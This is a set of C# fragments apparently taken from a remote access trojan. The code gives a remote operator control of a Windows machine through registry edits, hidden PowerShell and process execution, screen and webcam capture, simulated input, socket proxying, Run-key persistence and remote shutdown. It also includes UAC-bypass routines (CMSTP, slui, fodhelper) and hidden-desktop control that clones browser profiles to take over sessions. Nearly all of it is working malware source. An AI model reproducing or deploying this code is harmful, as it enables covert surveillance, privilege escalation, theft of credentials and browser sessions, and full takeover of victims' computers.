    process.Kill();
}
catch
{

}
if (process != null)
{
    process.Dispose();
}

if (data[0] == 1)
{
    byte[] byte_path = await node.ReceiveAsync();
    string path=Encoding.UTF8.GetString(byte_path);
    try {
        RegInfo path_info = GetRegInfo(path);
        if (path_info != null)
        {
            await node.SendAsync(new byte[] { 1 });
            await node.SendAsync(SerializeRegInfo(path_info));
        }
        else
        {
            await node.SendAsync(new byte[] { 0 });
        }
    }
    catch
    {
        await node.SendAsync(new byte[] { 0 });
    }
}
if (data[0] == 2)
{
    byte[] byte_path = await node.ReceiveAsync();
    string path = Encoding.UTF8.GetString(byte_path);
    try {
        bool worked = DeleteRegistrySubkey(path);
        if (worked)
        {
            await node.SendAsync(new byte[] { 1 });
        }
        else
        {
            await node.SendAsync(new byte[] { 0 });
        }
    }
    catch
    {
        await node.SendAsync(new byte[] { 0 });
    }
}
if (data[0] == 3)
{
    byte[] byte_path = await node.ReceiveAsync();
    byte[] byte_keyname = await node.ReceiveAsync();
    string path = Encoding.UTF8.GetString(byte_path);
    string keyname = Encoding.UTF8.GetString(byte_keyname);
    try
    {
        bool worked = DeleteRegistryValue(path, keyname);
        if (worked)
        {
            await node.SendAsync(new byte[] { 1 });
        }
        else
        {
            await node.SendAsync(new byte[] { 0 });
        }
    }
    catch
    {
        await node.SendAsync(new byte[] { 0 });
    }
}

private async Task RecvSendLoop(Socket remote_socket,
    Node subnode, int bufferSize)
{
    while (remote_socket.Connected && subnode.Connected())
    {
        try
        {
            await Task.WhenAny(
                Task.Run(() =>
                    remote_socket.Poll(1000, SelectMode.SelectRead)),
                Task.Run(() =>
                    subnode.sock.sock.Poll(1000, SelectMode.SelectRead)));
            if (remote_socket.Available > 0)
            {
                byte[] buffer = new byte[bufferSize];
                int bytesRead = await remote_socket.ReceiveAsync(
                    new ArraySegment<byte>(buffer), SocketFlags.None);
                if (bytesRead == 0)
                {
                    return;
                }

                await subnode.SendAsync(buffer.Take(bytesRead).ToArray());
            }

            if (subnode.sock.sock.Available > 0)
            {
                byte[] data = await subnode.ReceiveAsync();
                if ((await remote_socket.SendAsync(new
                    ArraySegment<byte>(data), SocketFlags.None)) == 0)
                {
                    return;
                }
            }
            await Task.Delay(100);
        }
        catch
        {
            return;
        }
    }
}

public static byte[] TakeScreenshot(int quality,
    int screenIndex, bool captureCursor, double scaleImageSize = 1)
{
    Screen[] screens = Screen.AllScreens;

    if (screenIndex < 0 || screenIndex >= screens.Length)
    {
        Console.WriteLine("Invalid screen index.");
        return null;
    }

    Screen selectedScreen = screens[screenIndex];

    int screenLeft = (int)(selectedScreen.Bounds.Left);
    int screenTop = (int)(selectedScreen.Bounds.Top);
    int screenWidth = (int)(selectedScreen.Bounds.Width);
    int screenHeight = (int)(selectedScreen.Bounds.Height);
    Bitmap bitmap = new Bitmap(screenWidth,
        screenHeight, PixelFormat.Format24bppRgb);
    using (Graphics graphics = Graphics.FromImage(bitmap))
    {
        graphics.CopyFromScreen(screenLeft, screenTop,
            0, 0, bitmap.Size, CopyPixelOperation.SourceCopy);

        if (captureCursor)
        {
            CURSORINFO pci;
            pci.cbSize = Marshal.SizeOf(typeof(CURSORINFO));

            if (GetCursorInfo(out pci))
            {
                if (pci.flags == CURSOR_SHOWING)
                {
                    DrawIcon(graphics.GetHdc(),
                        pci.ptScreenPos.x - screenLeft,
                        pci.ptScreenPos.y - screenTop, pci.hCursor);
                    graphics.ReleaseHdc();
                }
            }
        }

        EncoderParameters encoderParams = new EncoderParameters(1);
        encoderParams.Param[0] = new EncoderParameter(
            System.Drawing.Imaging.Encoder.Quality, quality);

        ImageCodecInfo codecInfo = GetEncoderInfo(ImageFormat.Jpeg);
        if (scaleImageSize != 1)
        {
            Bitmap resized = new Bitmap(bitmap,
                new Size((int)(bitmap.Width*scaleImageSize),
                (int)(bitmap.Height * scaleImageSize)));
            bitmap.Dispose();
            bitmap = resized;
        }
        using (MemoryStream stream = new MemoryStream())
        {
            bitmap.Save(stream, codecInfo, encoderParams);
            bitmap.Dispose();
            return stream.ToArray();
        }
    }
}

public static void SimulateMouseClick(Point screenCoords)
{
    SetCursorPos(screenCoords.X, screenCoords.Y);

    mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, IntPtr.Zero);
    mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, IntPtr.Zero);
}

// ...

public static void SimulateKeyPress(int keyCode)
{
    // Simulate keydown
    keybd_event((byte)keyCode, 0, KEYEVENTF_KEYDOWN, 0);

    // Simulate keyup
    keybd_event((byte)keyCode, 0, KEYEVENTF_KEYUP, 0);
}

public async Task CreateProc(string path, Node node)
{
    process = new Process();
    process.StartInfo.FileName = path;
    process.StartInfo.RedirectStandardInput = true;
    process.StartInfo.RedirectStandardOutput = true;
    process.StartInfo.RedirectStandardError = true;
    process.StartInfo.CreateNoWindow = true;
    process.StartInfo.UseShellExecute = false;
    process.OutputDataReceived += async (sender, e) =>
    {
        if (e.Data != null)
        {
            await node.SendAsync(Encoding.UTF8.GetBytes(e.Data));
        }
    };

    process.ErrorDataReceived += async (sender, e) =>
    {
        if (e.Data !=null)
        {
            await node.SendAsync(Encoding.UTF8.GetBytes(e.Data));
        }
    };
    process.Start();
    process.BeginOutputReadLine();
    process.BeginErrorReadLine();
}

readonly Runspace _runspace;

public PS()
{
    _runspace = RunspaceFactory.CreateRunspace();
    _runspace.Open();
}

public string Exe(string cmd)
{
    try
    {
        var pipeline = _runspace.CreatePipeline();
        pipeline.Commands.AddScript(cmd);
        pipeline.Commands.Add("Out-String");
        var results = pipeline.Invoke();
        var stringBuilder = new StringBuilder();
        foreach (var obj in results)
        {
            foreach (var line in obj.ToString().Split(new[]
                { "\r\n", "\r", "\n" }, StringSplitOptions.None))
            {
                stringBuilder.AppendLine(line.TrimEnd());
            }
        }
        return stringBuilder.ToString();
    }
    catch (Exception e)
    {
        var errorText = e.Message + "\n";
        return (errorText);
    }
}

public async static Task<bool> AddToStartupNonAdmin(string executablePath,
    string name= "XenoUpdateManager")
{
    return await Task.Run(() =>
    {
        string keyPath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
        try
        {
            using (RegistryKey key =
                RegistryKey.OpenBaseKey(RegistryHive.CurrentUser,
                RegistryView.Registry64).OpenSubKey(keyPath, true))
            {
                key.SetValue(name, "\"" + executablePath + "\"");
            }
            return true;
        }
        catch
        {
            return false;
        }
    });
}

private void RestartComputer()
{
    Process.Start("shutdown", "/r /t 0");
}

private void ShutdownComputer()
{
    Process.Start("shutdown", "/s /t 0");
}
public async Task Run(Node node)
{
    await node.SendAsync(new byte[] { 3 });//indicate that it has connected
    byte[] data = await node.ReceiveAsync();
    int opcode = data[0];
    if (opcode == 1)
    {
        ShutdownComputer();
    }
    else if (opcode == 2)
    {
        RestartComputer();
    }
    await Task.Delay(2000);
}

if (data[0] == 1)
{
    string path = System.Reflection.Assembly.GetEntryAssembly().Location;
    CmstpHelper.Kill();
    if (CmstpHelper.Run($"cmd /c start \"\"\"\"\" \"\"{path}\"\"\""))
    {
        await node.SendAsync(new byte[] { 1 });
    }
    else
    {
        await node.SendAsync(new byte[] { 0 });
    }
    //cmstp
}
else if (data[0] == 2)
{
    string path = System.Reflection.Assembly.GetEntryAssembly().Location;
    if (await WinDirSluiHelper.Run(path))
    {
        await node.SendAsync(new byte[] { 1 });
    }
    else
    {
        await node.SendAsync(new byte[] { 0 });
    }
}
else if (data[0] == 3)
{
    string path = System.Reflection.Assembly.GetEntryAssembly().Location;
    if (await FodHelper.Run($"\"{path}\""))
    {
        await node.SendAsync(new byte[] { 1 });
    }
    else
    {
        await node.SendAsync(new byte[] { 0 });
    }
}
else if (data[0] == 4)
{
    using (Process configTool = new Process())
    {
        try
        {
            configTool.StartInfo.FileName =
                System.Reflection.Assembly.GetEntryAssembly().Location;
            configTool.StartInfo.Verb = "runas";
            configTool.Start();
            await node.SendAsync(new byte[] { 1 });
        }
        catch
        {
            await node.SendAsync(new byte[] { 0 });
        }
    }
}
else if (data[0] == 5)
{
    try
    {       
        SystemUtility.ExecuteProcessUnElevated(
            System.Reflection.Assembly.GetEntryAssembly().Location,
            "", Directory.GetCurrentDirectory());
        await node.SendAsync(new byte[] { 1 });
    }
    catch
    {
        await node.SendAsync(new byte[] { 0 });
    }
}

public async void Capture(object sender, NewFrameEventArgs eventArgs)
{
    if (playing)
    {
        byte[] frameBytes;
        using (var stream = new System.IO.MemoryStream())
        {
            var qualityParam =     new EncoderParameter(
                System.Drawing.Imaging.Encoder.Quality, quality);
            var jpegEncoder = GetEncoderInfo(ImageFormat.Jpeg);

            var encoderParams = new EncoderParameters(1);
            encoderParams.Param[0] = qualityParam;

            eventArgs.Frame.Save(stream,
                jpegEncoder, encoderParams);
            frameBytes = stream.ToArray();
        }
        if (ImageNode != null || frameBytes == null)
        {
            await ImageNode.SendAsync(frameBytes);
        }
    }
}

string DesktopName=Encoding.UTF8.GetString(await node.ReceiveAsync());
ImageHandler = new Imaging_handler(DesktopName);
InputHandler = new input_handler(DesktopName);
ProcessHandler = new Process_Handler(DesktopName);

public Imaging_handler(string DesktopName)
{
    IntPtr Desk = OpenDesktop(DesktopName,
        0, true, (uint)DESKTOP_ACCESS.GENERIC_ALL);
    if (Desk == IntPtr.Zero)
    {
        Desk = CreateDesktop(DesktopName, IntPtr.Zero,
            IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL,
            IntPtr.Zero);
    }
    Desktop=Desk;
}

//...

public input_handler(string DesktopName)
{
    this.DesktopName = DesktopName;
    IntPtr Desk = OpenDesktop(DesktopName,
        0, true, (uint)DESKTOP_ACCESS.GENERIC_ALL);
    if (Desk == IntPtr.Zero)
    {
        Desk = CreateDesktop(DesktopName, IntPtr.Zero,
            IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL,
            IntPtr.Zero);
    }
    Desktop = Desk;
}

if (data[0] == 0)
{
    playing = true;
}
else if (data[0] == 1)
{
    playing = false;
}
else if (data[0] == 2)
{
    quality = node.sock.BytesToInt(data,1);
}
else if (data[0] == 3)
{
    uint msg = (uint)node.sock.BytesToInt(data,1);
    IntPtr wParam = (IntPtr)node.sock.BytesToInt(data, 5);
    IntPtr lParam = (IntPtr)node.sock.BytesToInt(data, 9);
    new Thread(() => InputHandler.Input(msg, wParam, lParam)).Start();
}
else if (data[0] == 4)
{
    ProcessHandler.StartExplorer();
}
else if (data[0] == 5)
{
    ProcessHandler.CreateProc(Encoding.UTF8.GetString(data,1,data.Length-1));
}
else if (data[0] == 6)
{
    do_browser_clone = true;
}
else if (data[0] == 7)
{
    do_browser_clone = false;
}
else if (data[0] == 8)
{ //start chrome
    if (do_browser_clone && !has_clonned_chrome)
    {
        has_clonned_chrome = true;
        HandleCloneChrome();
    }
    else
    {
        ProcessHandler.StartChrome();
    }
}
else if (data[0] == 9)
{ //start firefox
    if (do_browser_clone && !has_clonned_firefox)
    {
        has_clonned_firefox = true;
        HandleCloneFirefox();
    }
    else
    {
        ProcessHandler.StartFirefox();
    }
}
else if (data[0] == 10)
{ //start edge
    if (do_browser_clone && !has_clonned_edge)
    {
        has_clonned_edge = true;
        HandleCloneEdge();
    }
    else
    {
        ProcessHandler.StartEdge();
    }
}
else if (data[0] == 11)
{ //start edge
    if (do_browser_clone && !has_clonned_opera)
    {
        has_clonned_opera = true;
        HandleCloneOpera();
    }
    else
    {
        ProcessHandler.StartOpera();
    }
}
else if (data[0] == 12)
{ //start edge
    if (do_browser_clone && !has_clonned_operagx)
    {
        has_clonned_operagx = true;
        HandleCloneOperaGX();
    }
    else
    {
        ProcessHandler.StartOperaGX();
    }
}
else if (data[0] == 13)
{ //start edge
    if (do_browser_clone && !has_clonned_brave)
    {
        has_clonned_brave = true;
        HandleCloneBrave();
    }
    else
    {
        ProcessHandler.StartBrave();
    }
}

public bool CreateProc(string filePath)
{
    STARTUPINFO si = new STARTUPINFO();
    si.cb = Marshal.SizeOf(si);
    si.lpDesktop = DesktopName;
    PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    bool resultCreateProcess = CreateProcess(
        null,
        filePath,
        IntPtr.Zero,
        IntPtr.Zero,
        false,
        48,
        IntPtr.Zero,
        null,
        ref si,
        ref pi);
    return resultCreateProcess;
}

public bool StartChrome()
{
    string dataDir = @"C:\ChromeAutomationData";
    string path = getChromePath();
    if (path == null || !File.Exists(path))
    {
        return false;
    }
    return CreateProc("\"" + path + "\"" + " --no-sandbox " +
        "--allow-no-sandbox-job --disable-gpu --user-data-dir="
        + dataDir);
}

public async Task<bool> CloneChrome()
{
    try
    {
        string dataDir = @"C:\ChromeAutomationData";
        string source =
            $@"C:\Users\{Environment.UserName}\" +
            "AppData\Local\Google\Chrome\User Data";
        if (Directory.Exists(dataDir))
        {
            await Task.Run(() => Directory.Delete(dataDir, true));
            Directory.CreateDirectory(dataDir);
        }
        else
        {
            Directory.CreateDirectory(dataDir);
        }
        await CopyDirAsync(source, dataDir);
        return true;

    }
    catch { }
    return false;
}

else if (msg == WM_LBUTTONDOWN)
{
    lmouseDown = true;
    hResMoveWindow = IntPtr.Zero;

    RECT startButtonRect;
    IntPtr hStartButton = FindWindow("Button", null);
    GetWindowRect(hStartButton, out startButtonRect);
    if (PtInRect(ref startButtonRect, point))
    {
        PostMessage(hStartButton, BM_CLICK,
            IntPtr.Zero, IntPtr.Zero);
        return;
    }
    else
    {
        StringBuilder windowClass = new StringBuilder(MAX_PATH);
        RealGetWindowClass(hWnd, windowClass, MAX_PATH);

        if (windowClass.ToString() == "#32768")
        {
            IntPtr hMenu = GetSubMenu(hWnd, 0);
            int itemPos = MenuItemFromPoint(IntPtr.Zero,
                hMenu, point);
            int itemId = GetMenuItemID(hMenu, itemPos);
            PostMessage(hWnd, 0x1E5, new IntPtr(itemPos),
                IntPtr.Zero);
            PostMessage(hWnd, WM_KEYDOWN, new IntPtr(VK_RETURN),
                IntPtr.Zero);
            return;
        }
    }
}

private bool DrawApplication(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC)
{
    RECT r;
    bool returnValue = false;
    GetWindowRect(hWnd, out r);

    float scalingFactor = GetScalingFactor();
    IntPtr hDcWindow = CreateCompatibleDC(DC);
    IntPtr hBmpWindow = CreateCompatibleBitmap(DC,
        (int)((r.Right - r.Left) * scalingFactor),
        (int)((r.Bottom - r.Top) * scalingFactor));

    SelectObject(hDcWindow, hBmpWindow);
    uint nflag = 2; //0, in windows below 8.1 this way
                    // not work and needs to be 0
    if (PrintWindow(hWnd, hDcWindow, nflag))
    {
        try
        {
            Bitmap processImage = Bitmap.FromHbitmap(hBmpWindow);
            ModifiableScreen.DrawImage(processImage,
                new Point(r.Left, r.Top));
            processImage.Dispose();
            returnValue = true;
        }
        catch
        {

        }
    }
    DeleteObject(hBmpWindow);
    DeleteDC(hDcWindow);
    return returnValue;
}

Bitmap img = ImageHandler.Screenshot();
EncoderParameters encoderParams = new EncoderParameters(1);
encoderParams.Param[0] =
    new EncoderParameter(
    System.Drawing.Imaging.Encoder.Quality, quality);

ImageCodecInfo codecInfo = GetEncoderInfo(ImageFormat.Jpeg);
byte[] data;
using (MemoryStream stream = new MemoryStream())
{
    img.Save(stream, codecInfo, encoderParams);
    data= stream.ToArray();
}
await ImageNode.SendAsync(data);